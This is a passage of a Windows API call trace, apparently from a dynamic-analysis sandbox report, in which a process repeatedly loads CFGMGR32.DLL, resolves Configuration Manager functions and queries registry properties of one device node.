[0228.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.541] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.542] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.543] malloc (_Size=0x18) returned 0x20abc281f20 [0228.543] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0228.543] malloc (_Size=0x6c) returned 0x20abc282120 [0228.544] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8) returned 0x0 [0228.545] free (_Block=0x20abc282120) [0228.545] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x43fc35e5, dwHighDateTime=0x1d9eb0c)) [0228.545] SetEvent (hEvent=0x248) returned 1 [0228.655] malloc (_Size=0x18) returned 0x20abc2819e0 [0228.655] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0228.655] free (_Block=0x20abc2819e0) [0228.655] malloc (_Size=0x18) returned 0x20abc281da0 [0228.655] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0228.655] free (_Block=0x20abc281da0) [0228.655] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0228.655] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0228.655] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0228.655] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0228.655] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0228.655] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0228.655] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0228.655] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0228.656] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0228.656] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.656] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.657] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0228.658] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0228.659] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.659] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.663] malloc (_Size=0x18) returned 0x20abc281de0 [0228.663] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0228.664] malloc (_Size=0x90) returned 0x20abc284f50 [0228.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc284f50, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc284f50, pulLength=0x2dc22fd3f8) returned 0x0 [0228.665] free (_Block=0x20abc284f50) [0228.665] malloc (_Size=0x48) returned 0x20abc2ab810 [0228.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x440e355f, dwHighDateTime=0x1d9eb0c)) [0228.666] SetEvent (hEvent=0x248) returned 1 [0228.670] malloc (_Size=0x18) returned 0x20abc281b60 [0228.670] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0228.670] free (_Block=0x20abc281b60) [0228.670] malloc (_Size=0x18) returned 0x20abc2819e0 [0228.670] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0228.670] free (_Block=0x20abc2819e0) [0228.670] malloc (_Size=0x18) returned 0x20abc281f80 [0228.670] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0228.670] free (_Block=0x20abc281f80) [0228.670] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c870 [0228.671] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0228.671] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0228.671] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0228.671] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0228.671] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0228.671] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0228.671] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0228.671] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0228.671] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.672] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.672] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93a00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0228.673] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0228.673] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c870) returned 1 [0228.674] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.674] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.678] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.679] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.680] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.681] malloc (_Size=0x18) returned 0x20abc281b00 [0228.682] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.686] malloc (_Size=0x48) returned 0x20abc2ac0d0 [0228.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4412fe6e, dwHighDateTime=0x1d9eb0c)) [0228.686] SetEvent (hEvent=0x248) returned 1 [0228.691] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.692] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.695] malloc (_Size=0x18) returned 0x20abc2820a0 [0228.695] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.696] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4412fe6e, dwHighDateTime=0x1d9eb0c)) [0228.696] SetEvent (hEvent=0x248) returned 1 [0228.796] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.796] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.798] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.800] malloc (_Size=0x18) returned 0x20abc281b00 [0228.801] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.801] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4423ab19, dwHighDateTime=0x1d9eb0c)) [0228.802] SetEvent (hEvent=0x248) returned 1 [0228.806] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.806] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.812] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.812] malloc (_Size=0x18) returned 0x20abc281c00 [0228.812] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.813] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44260c7e, dwHighDateTime=0x1d9eb0c)) [0228.813] SetEvent (hEvent=0x248) returned 1 [0228.819] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.819] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0228.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0228.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0228.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0228.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0228.821] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0228.822] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0228.822] malloc (_Size=0x18) returned 0x20abc281c80 [0228.823] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0228.826] malloc (_Size=0x48) returned 0x20abc27cb20 [0228.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44286f89, dwHighDateTime=0x1d9eb0c)) [0228.827] SetEvent (hEvent=0x248) returned 1 [0228.830] malloc (_Size=0xd8) returned 0x20abc284e70 [0228.830] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0228.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 